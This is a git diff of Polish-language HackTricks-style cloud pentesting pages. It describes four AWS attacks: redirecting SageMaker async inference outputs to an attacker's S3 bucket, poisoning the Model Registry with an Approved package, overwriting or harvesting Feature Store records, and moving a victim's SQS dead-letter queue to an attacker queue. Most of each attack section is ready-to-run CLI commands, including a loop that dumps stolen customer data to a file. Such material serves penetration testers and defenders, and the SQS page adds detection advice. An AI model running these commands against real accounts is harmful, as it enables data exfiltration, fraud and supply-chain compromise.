Wykorzystaj zarządzanie endpointem do przekierowania asynchronicznych wyników inferencji do kontrolowanego przez atakującego S3 bucketu poprzez sklonowanie bieżącego EndpointConfig i ustawienie AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. To eksfiltrowanie przewidywań modelu (oraz wszelkich przekształconych wejść dodanych przez container) bez modyfikowania modelu/container.
|
||||
Wykorzystaj mechanizmy zarządzania endpointem, aby przekierować asynchroniczne wyjścia inferencji do kontrolowanego przez atakującego S3 bucket poprzez sklonowanie bieżącego EndpointConfig i ustawienie AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. To umożliwia eksfiltrację predykcji modelu (oraz dowolnych przekształconych wejść zawartych przez kontener) bez modyfikacji modelu/obrazu kontenera.
|
||||
|
||||
### Requirements
|
||||
### Wymagania
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Możliwość zapisu do kontrolowanego przez atakującego S3 bucketu (poprzez rolę wykonawczą modelu lub liberalną politykę bucketu)
|
||||
- Target: An InService endpoint where asynchronous invocations are (or will be) used
|
||||
- S3: Możliwość zapisu do kontrolowanego przez atakującego S3 bucket (poprzez rolę wykonawczą modelu lub permisywną politykę bucketu)
|
||||
- Cel: endpoint w stanie InService, w którym wykorzystywane są (lub będą) wywołania asynchroniczne
|
||||
|
||||
### Steps
|
||||
### Kroki
|
||||
1) Zbierz bieżące ProductionVariants z docelowego endpointu
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
@@ -92,13 +92,13 @@ EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Utwórz attacker bucket (upewnij się, że model execution role ma uprawnienie PutObject do niego)
|
||||
2) Utwórz attacker bucket (upewnij się, że model execution role może wykonać PutObject do niego)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) Sklonuj EndpointConfig i przechwyć wyjścia AsyncInference do bucketu atakującego
|
||||
3) Sklonuj EndpointConfig i hijack AsyncInference outputs do attacker bucket
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Wywołaj async invocation i zweryfikuj, że obiekty trafiają do attacker S3
|
||||
4) Wyzwól async invocation i zweryfikuj, że obiekty trafiają do attacker S3
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -116,21 +116,21 @@ sleep 30
|
||||
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Wpływ
|
||||
- Przekierowuje asynchroniczne wyniki inferencji (oraz treści błędów) do S3 kontrolowanego przez atakującego, umożliwiając covert exfiltration of predictions i potencjalnie wrażliwych pre/post-processed inputs generowanych przez container, bez zmiany model code ani image i przy minimalnym/braku downtime.
|
||||
### Impact
|
||||
- Przekierowuje asynchroniczne wyniki inferencji (oraz treści błędów) do kontrolowanego przez atakującego S3, umożliwiając ukrytą eksfiltrację predykcji oraz potencjalnie wrażliwych danych wejściowych przed i po przetworzeniu przez kontener, bez zmiany kodu modelu ani obrazu oraz przy minimalnym lub żadnym czasie przestoju.
|
||||
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
## SageMaker Model Registry — wstrzyknięcie w łańcuch dostaw przez CreateModelPackage(Approved)
|
||||
|
||||
Jeśli atakujący może wykonać CreateModelPackage na docelowym SageMaker Model Package Group, może zarejestrować nową wersję modelu wskazującą na attacker-controlled container image i natychmiast oznaczyć ją jako Approved. Wiele CI/CD pipelines automatycznie wdraża Approved wersje modeli do endpoints lub training jobs, co skutkuje wykonaniem kodu atakującego z uprawnieniami service’s execution roles. Eksponowanie cross-account może być nasilone przez permissive ModelPackageGroup resource policy.
|
||||
Jeżeli atakujący może wykonać CreateModelPackage na docelowym SageMaker Model Package Group, może zarejestrować nową wersję modelu wskazującą na obraz kontenera kontrolowany przez atakującego i natychmiast oznaczyć ją jako Approved. Wiele CI/CD pipelines automatycznie wdraża Approved wersje modeli na endpoints lub training jobs, co skutkuje wykonaniem kodu atakującego w kontekście ról wykonawczych usługi. Ekspozycja między kontami może zostać zwiększona przez zbyt liberalną politykę zasobu ModelPackageGroup.
|
||||
|
||||
### Wymagania
|
||||
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- Opcjonalne (to create a group if one doesn’t exist): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Dostęp do odczytu do wskazanego ModelDataUrl (lub hostować attacker-controlled artifacts)
|
||||
- Target: Model Package Group, które downstream automation monitoruje pod kątem Approved versions
|
||||
### Requirements
|
||||
- IAM (minimum, aby zatruć istniejącą grupę): `sagemaker:CreateModelPackage` na docelowym ModelPackageGroup
|
||||
- Opcjonalne (aby utworzyć grupę, jeśli jej nie ma): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: dostęp do odczytu do odwołanego ModelDataUrl (lub hostowanie artefaktów kontrolowanych przez atakującego)
|
||||
- Cel: Model Package Group, który automatyzacja w kolejnych etapach obserwuje pod kątem Approved wersji
|
||||
|
||||
### Kroki
|
||||
### Steps
|
||||
1) Ustaw region i utwórz/znajdź docelowy Model Package Group
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Zarejestruj złośliwą (tutaj nieszkodliwą) wersję Approved model package odwołującą się do publicznego obrazu AWS DLC
|
||||
3) Zarejestruj złośliwą (tutaj nieszkodliwą) zatwierdzoną wersję pakietu modelu odwołującą się do publicznego obrazu AWS DLC
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Zweryfikuj, że nowa zatwierdzona wersja istnieje
|
||||
4) Zweryfikuj, że nowa wersja Approved istnieje
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Wpływ
|
||||
- Zatrucie Model Registry przez Approved wersję, która odwołuje się do kodu kontrolowanego przez atakującego. Pipelines, które automatycznie wdrażają Approved modele, mogą pobrać i uruchomić obraz atakującego, co skutkuje wykonaniem kodu z uprawnieniami ról endpoint/training.
|
||||
- Przy luźnej polityce zasobu ModelPackageGroup (PutModelPackageGroupPolicy) to nadużycie może zostać wywołane cross-account.
|
||||
- Zatruj Model Registry za pomocą wersji Approved, która odwołuje się do kodu kontrolowanego przez atakującego. Pipelines, które automatycznie wdrażają modele Approved, mogą pobrać i uruchomić obraz atakującego, co daje wykonanie kodu w kontekście ról endpoint/training.
|
||||
- Przy luźnej polityce zasobu ModelPackageGroup (PutModelPackageGroupPolicy) to nadużycie może być przeprowadzone pomiędzy kontami.
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
Abuse `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać bieżące wartości cech wykorzystywane przez online inference. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy. Nie wymaga to dostępu do modeli ani endpoints.
|
||||
Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać na żywo wartości cech wykorzystywane przez online inference. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy. Do tego nie jest wymagany dostęp do modeli ani endpoints.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+22
-34
@@ -1,17 +1,19 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać aktualne wartości cech używane przez online inference. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy i exfiltrate poufne dane ML. Nie wymaga to dostępu do modeli ani endpoints, przez co jest to bezpośredni atak na warstwę danych.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać na żywo wartości cech używane przez inference w czasie rzeczywistym. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy. Nie wymaga to dostępu do modeli ani endpointów.
|
||||
|
||||
## Wymagania
|
||||
- Uprawnienia: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Cel: Feature Group z włączonym OnlineStore (zwykle backing real-time inference)
|
||||
- Złożoność: **LOW** - Proste polecenia AWS CLI, bez potrzeby manipulacji modelami
|
||||
- Cel: Feature Group z włączonym OnlineStore (zazwyczaj wspierający inference w czasie rzeczywistym)
|
||||
- Złożoność: **LOW** - Proste polecenia AWS CLI, bez potrzeby manipulacji modelem
|
||||
|
||||
## Kroki
|
||||
|
||||
### Rozpoznanie
|
||||
|
||||
1) Wypisz Feature Group z włączonym OnlineStore
|
||||
1) Wypisz Feature Groups z włączonym OnlineStore
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
@@ -19,25 +21,25 @@ aws sagemaker list-feature-groups \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) Opisz docelowy Feature Group, aby zrozumieć jego schemat
|
||||
2) Opisz docelowy Feature Group, aby zrozumieć jego schemat.
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Zwróć uwagę na `RecordIdentifierFeatureName`, `EventTimeFeatureName` oraz wszystkie definicje cech. Są one wymagane do tworzenia poprawnych rekordów.
|
||||
Zwróć uwagę na `RecordIdentifierFeatureName`, `EventTimeFeatureName` oraz wszystkie definicje cech. Są one wymagane do utworzenia poprawnych rekordów.
|
||||
|
||||
### Scenariusz ataku 1: Data Poisoning (Overwrite Existing Records)
|
||||
### Scenariusz Ataku 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
1) Odczytaj aktualny prawidłowy rekord
|
||||
1) Odczytaj bieżący prawidłowy rekord
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) Wprowadź złośliwe wartości do rekordu, używając inline parametru `--record`
|
||||
2) Zatruj rekord złośliwymi wartościami, używając parametru inline `--record`
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) Zweryfikuj zatrute dane
|
||||
3) Zweryfikuj poisoned data
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Wpływ**: ML models korzystające z tego feature będą teraz widzieć `risk_score=0.99` dla uczciwego użytkownika, co może zablokować jego transakcje lub usługi.
|
||||
**Wpływ**: Modele ML wykorzystujące tę cechę zobaczą teraz `risk_score=0.99` dla prawidłowego użytkownika, co może zablokować jego transakcje lub usługi.
|
||||
|
||||
### Scenariusz ataku 2: Złośliwe wstrzyknięcie danych (Utworzenie fałszywych rekordów)
|
||||
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
|
||||
Wstrzyknij całkowicie nowe rekordy ze zmanipulowanymi cechami, aby obejść mechanizmy bezpieczeństwa:
|
||||
Wstrzyknij zupełnie nowe rekordy ze zmanipulowanymi cechami, aby ominąć mechanizmy kontroli bezpieczeństwa:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
Zweryfikuj wstrzyknięcie:
|
||||
Zweryfikuj injection:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Wpływ**: Atakujący tworzy fałszywą tożsamość z niskim wynikiem ryzyka (0.01), która może wykonywać wysokowartościowe transakcje oszukańcze bez wywoływania wykrywania oszustw.
|
||||
**Wpływ**: Atakujący tworzy fałszywą tożsamość z niskim wynikiem ryzyka (0.01), która może dokonywać wysokokwotowych oszukańczych transakcji, nie uruchamiając systemu wykrywania oszustw.
|
||||
|
||||
### Scenariusz ataku 3: Eksfiltracja danych wrażliwych
|
||||
|
||||
Odczytaj wiele rekordów, aby wydobyć poufne cechy i zprofilować zachowanie modelu:
|
||||
Odczytaj wiele rekordów, aby wydobyć poufne cechy i opracować profil zachowania modelu:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
@@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Wpływ**: Poufne cechy (wyniki ryzyka, wzorce transakcji, dane osobowe) ujawnione atakującemu.
|
||||
**Wpływ**: Poufne cechy (oceny ryzyka, wzorce transakcji, dane osobowe) ujawnione atakującemu.
|
||||
|
||||
### Tworzenie Feature Group do testów/demonstracji (opcjonalne)
|
||||
### Tworzenie testowego/demonstracyjnego Feature Group (opcjonalne)
|
||||
|
||||
Jeśli potrzebujesz utworzyć testową Feature Group:
|
||||
Jeśli potrzebujesz utworzyć testowy Feature Group:
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
@@ -141,20 +143,6 @@ fi
|
||||
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Wykrywanie
|
||||
|
||||
Monitoruj CloudTrail pod kątem podejrzanych wzorców:
|
||||
- `PutRecord` zdarzenia od nietypowych podmiotów IAM lub adresów IP
|
||||
- Wysoka częstotliwość wywołań `PutRecord` lub `GetRecord`
|
||||
- `PutRecord` z anomalicznymi wartościami cech (np. risk_score poza normalnym zakresem)
|
||||
- Masowe operacje `GetRecord` wskazujące na masową eksfiltrację
|
||||
- Dostęp poza normalnymi godzinami pracy lub z nieoczekiwanych lokalizacji
|
||||
|
||||
Wdróż wykrywanie anomalii:
|
||||
- Walidacja wartości cech (np. risk_score musi mieścić się w zakresie 0.0-1.0)
|
||||
- Analiza wzorców zapisu (częstotliwość, czas, tożsamość źródła)
|
||||
- Wykrywanie dryfu danych (gwałtowne zmiany w rozkładach cech)
|
||||
|
||||
## References
|
||||
## Źródła
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
+44
-40
@@ -1,53 +1,55 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
## Description
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Wykorzystaj zadania przenoszenia wiadomości SQS do kradzieży wszystkich zgromadzonych wiadomości z Dead-Letter Queue (DLQ) ofiary, przekierowując je do kolejki kontrolowanej przez atakującego przy użyciu `sqs:StartMessageMoveTask`. Technika ta wykorzystuje legalną funkcję odzyskiwania wiadomości w AWS, aby eksfiltrację wrażliwych danych zgromadzonych w DLQ przez dłuższy czas.
|
||||
## Opis
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
Wykorzystaj zadania przenoszenia wiadomości SQS, aby ukraść wszystkie zgromadzone wiadomości z Dead-Letter Queue (DLQ) ofiary, przekierowując je do kolejki kontrolowanej przez atakującego za pomocą `sqs:StartMessageMoveTask`. Ta technika wykorzystuje legalną funkcję odzyskiwania wiadomości AWS do eksfiltracji wrażliwych danych, które z czasem zgromadziły się w DLQ.
|
||||
|
||||
Kolejka Dead-Letter to specjalna kolejka SQS, do której automatycznie trafiają wiadomości, gdy główna aplikacja nie zdoła ich poprawnie przetworzyć. Te nieudane wiadomości często zawierają:
|
||||
- Wrażliwe dane aplikacji, których nie udało się przetworzyć
|
||||
- Szczegóły błędów i informacje do debugowania
|
||||
## Co to jest Dead-Letter Queue (DLQ)?
|
||||
|
||||
Dead-Letter Queue to specjalna kolejka SQS, do której wiadomości są automatycznie wysyłane, gdy nie uda się ich poprawnie przetworzyć przez główną aplikację. Te nieudane wiadomości często zawierają:
|
||||
- Wrażliwe dane aplikacji, które nie mogły zostać przetworzone
|
||||
- Szczegóły błędów i informacje pomocne w debugowaniu
|
||||
- Dane osobowe (PII)
|
||||
- Tokeny API, poświadczenia lub inne sekrety
|
||||
- Krytyczne dla biznesu dane transakcyjne
|
||||
|
||||
DLQ pełnią rolę „cmentarza” dla nieudanych wiadomości, co czyni je wartościowym celem, ponieważ z czasem gromadzą wrażliwe dane, których aplikacje nie obsłużyły.
|
||||
DLQ działają jak "cmentarz" dla nieudanych wiadomości, przez co są cennym celem — gromadzą wrażliwe dane przez długi czas, których aplikacje nie były w stanie obsłużyć.
|
||||
|
||||
## Attack Scenario
|
||||
## Scenariusz ataku
|
||||
|
||||
**Real-world example:**
|
||||
1. **E-commerce application** przetwarza zamówienia klientów za pomocą SQS
|
||||
2. **Niektóre zamówienia nie przechodzą** (problemy z płatnością, stanem magazynowym itp.) i trafiają do DLQ
|
||||
**Przykład z prawdziwego świata:**
|
||||
1. **Aplikacja e-commerce** przetwarza zamówienia klientów przez SQS
|
||||
2. **Niektóre zamówienia się nie powiodły** (problemy z płatnością, brak towaru itp.) i trafiają do DLQ
|
||||
3. **DLQ gromadzi** tygodnie/miesiące nieudanych zamówień zawierających dane klientów: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Atakujący uzyskuje dostęp** do poświadczeń AWS z uprawnieniami SQS
|
||||
4. **Atakujący zdobywa dostęp** do poświadczeń AWS z uprawnieniami do SQS
|
||||
5. **Atakujący odkrywa**, że DLQ zawiera tysiące nieudanych zamówień z wrażliwymi danymi
|
||||
6. **Zamiast próbować uzyskać dostęp do pojedynczych wiadomości** (powolne i oczywiste), atakujący używa `StartMessageMoveTask`, aby masowo przenieść WSZYSTKIE wiadomości do swojej kolejki
|
||||
6. **Zamiast próbować uzyskać dostęp do pojedynczych wiadomości** (wolne i oczywiste), atakujący używa `StartMessageMoveTask`, aby masowo przenieść WSZYSTKIE wiadomości do swojej kolejki
|
||||
7. **Atakujący wydobywa** wszystkie historyczne wrażliwe dane w jednej operacji
|
||||
|
||||
## Requirements
|
||||
- Kolejka źródłowa musi być skonfigurowana jako DLQ (odniesiona przez przynajmniej jedną politykę RedrivePolicy innej kolejki).
|
||||
- Uprawnienia IAM (uruchamiane jako skompromitowany principal ofiary):
|
||||
## Wymagania
|
||||
- Kolejka źródłowa musi być skonfigurowana jako DLQ (referencja w przynajmniej jednej polityce RedrivePolicy innej kolejki).
|
||||
- Uprawnienia IAM (działające jako skompromitowany podmiot ofiary):
|
||||
- Na DLQ (źródło): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Na kolejce docelowej: uprawnienie do dostarczania wiadomości (np. polityka kolejki zezwalająca `sqs:SendMessage` z principal ofiary). Dla celów w tym samym koncie zazwyczaj dozwolone domyślnie.
|
||||
- Jeśli SSE-KMS jest włączone: na źródłowym CMK `kms:Decrypt`, a na docelowym CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
- Na kolejce docelowej: uprawnienie do dostarczania wiadomości (np. polityka kolejki pozwalająca na `sqs:SendMessage` z konta podmiotu ofiary). Dla kolejek w tym samym koncie zwykle jest to dozwolone domyślnie.
|
||||
- Jeśli SSE-KMS jest włączone: na źródłowym CMK `kms:Decrypt`, oraz na docelowym CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impact
|
||||
Eksfiltracja wrażliwych payloadów zgromadzonych w DLQ (nieudane zdarzenia, PII, tokeny, payloady aplikacji) z dużą prędkością przy użyciu natywnych API SQS. Działa cross-account, jeśli polityka kolejki docelowej pozwala na `SendMessage` od principal ofiary.
|
||||
## Wpływ
|
||||
Eksfiltracja wrażliwych ładunków zgromadzonych w DLQ (nieudane zdarzenia, PII, tokeny, ładunki aplikacji) z dużą szybkością przy użyciu natywnych API SQS. Działa międzykontowo, jeśli polityka kolejki docelowej pozwala na `SendMessage` od podmiotu ofiary.
|
||||
|
||||
## How to Abuse
|
||||
## Jak wykorzystać
|
||||
|
||||
- Zidentyfikuj ARN DLQ ofiary i upewnij się, że jest faktycznie referencjonowana jako DLQ przez jakąś kolejkę (dowolna kolejka).
|
||||
- Utwórz lub wybierz kolejkę kontrolowaną przez atakującego i zdobądź jej ARN.
|
||||
- Uruchom zadanie przenoszenia wiadomości z DLQ ofiary do twojej kolejki docelowej.
|
||||
- Monitoruj postęp lub anuluj w razie potrzeby.
|
||||
- Zidentyfikuj ARN DLQ ofiary i upewnij się, że jest faktycznie używana jako DLQ przez jakąś kolejkę (dowolna kolejka).
|
||||
- Utwórz lub wybierz kontrolowaną przez atakującego kolejkę docelową i zdobądź jej ARN.
|
||||
- Uruchom zadanie przenoszenia wiadomości z DLQ ofiary do swojej kolejki docelowej.
|
||||
- Monitoruj postęp lub anuluj zadanie w razie potrzeby.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: Atakujący skompromitował poświadczenia AWS i odkrył, że aplikacja e-commerce używa SQS z DLQ zawierającą nieudane próby przetwarzania zamówień klientów.
|
||||
**Scenariusz**: Atakujący przejął poświadczenia AWS i odkrył, że aplikacja e-commerce używa SQS z DLQ zawierającym nieudane próby przetwarzania zamówień klientów.
|
||||
|
||||
1) **Discover and examine the victim DLQ**
|
||||
1) **Odkryj i przeanalizuj DLQ ofiary**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Utwórz docelową kolejkę kontrolowaną przez atakującego**
|
||||
2) **Utwórz kontrolowaną przez atakującego kolejkę docelową**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Wykonaj bulk message theft**
|
||||
3) **Przeprowadź masowe wykradanie wiadomości**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
@@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Zgromadź skradzione wrażliwe dane**
|
||||
4) **Zbierz skradzione wrażliwe dane**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
@@ -114,15 +116,15 @@ echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Uwagi dotyczące dostępu między kontami
|
||||
- Docelowa kolejka musi mieć politykę zasobów zezwalającą principalowi ofiary na `sqs:SendMessage` (a jeśli używane, granty/uprawnienia KMS).
|
||||
- Kolejka docelowa musi mieć politykę zasobu pozwalającą principalowi ofiary na `sqs:SendMessage` (a, jeśli używane, przyznania/uprawnienia KMS).
|
||||
|
||||
## Dlaczego ten atak jest skuteczny
|
||||
|
||||
1. **Wbudowana funkcja AWS**: Wykorzystuje wbudowane funkcje AWS, dzięki czemu trudno wykryć ją jako złośliwą
|
||||
2. **Operacja hurtowa**: Przenosi tysiące wiadomości szybko, zamiast powolnego dostępu do pojedynczych wiadomości
|
||||
1. **Wbudowana funkcja AWS**: Wykorzystuje wbudowaną funkcjonalność AWS, co utrudnia wykrycie jako działanie złośliwe
|
||||
2. **Operacja masowa**: Przenosi tysiące wiadomości szybko zamiast powolnego dostępu pojedynczego
|
||||
3. **Dane historyczne**: DLQs gromadzą wrażliwe dane przez tygodnie/miesiące
|
||||
4. **Poza radarem**: Wiele organizacji nie monitoruje dokładnie dostępu do DLQ
|
||||
5. **Możliwość między-kontowa**: Może exfiltrate do konta AWS atakującego, jeśli uprawnienia na to pozwalają
|
||||
4. **Poza radarem**: Wiele organizacji nie monitoruje dostępu do DLQ uważnie
|
||||
5. **Możliwość międzykontowa**: Może exfiltrate do własnego konta AWS atakującego, jeśli uprawnienia na to pozwalają
|
||||
|
||||
## Wykrywanie i zapobieganie
|
||||
|
||||
@@ -143,8 +145,10 @@ Monitoruj CloudTrail pod kątem podejrzanych wywołań API `StartMessageMoveTask
|
||||
}
|
||||
```
|
||||
### Zapobieganie
|
||||
1. **Zasada najmniejszych uprawnień**: Ogranicz uprawnienia `sqs:StartMessageMoveTask` tylko do niezbędnych ról
|
||||
2. **Monitorowanie DLQs**: Skonfiguruj alarmy CloudWatch dla nietypowej aktywności DLQs
|
||||
3. **Polityki dostępu międzykontowego**: Dokładnie przeglądaj polityki kolejek SQS zezwalające na dostęp między kontami
|
||||
4. **Szyfrowanie DLQs**: Użyj SSE-KMS z ograniczonymi politykami kluczy
|
||||
5. **Regularne czyszczenie**: Nie pozwól, aby poufne dane gromadziły się w DLQs na czas nieokreślony
|
||||
1. **Zasada najmniejszych uprawnień**: Ogranicz uprawnienia `sqs:StartMessageMoveTask` wyłącznie do niezbędnych ról
|
||||
2. **Monitoruj DLQs**: Skonfiguruj alarmy CloudWatch dla nietypowej aktywności DLQ
|
||||
3. **Polityki cross-account**: Dokładnie przejrzyj polityki kolejek SQS zezwalające na dostęp między kontami
|
||||
4. **Szyfruj DLQs**: Używaj SSE-KMS z ograniczonymi politykami klucza
|
||||
5. **Regularne czyszczenie**: Nie pozwól, by wrażliwe dane gromadziły się w DLQs bezterminowo
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user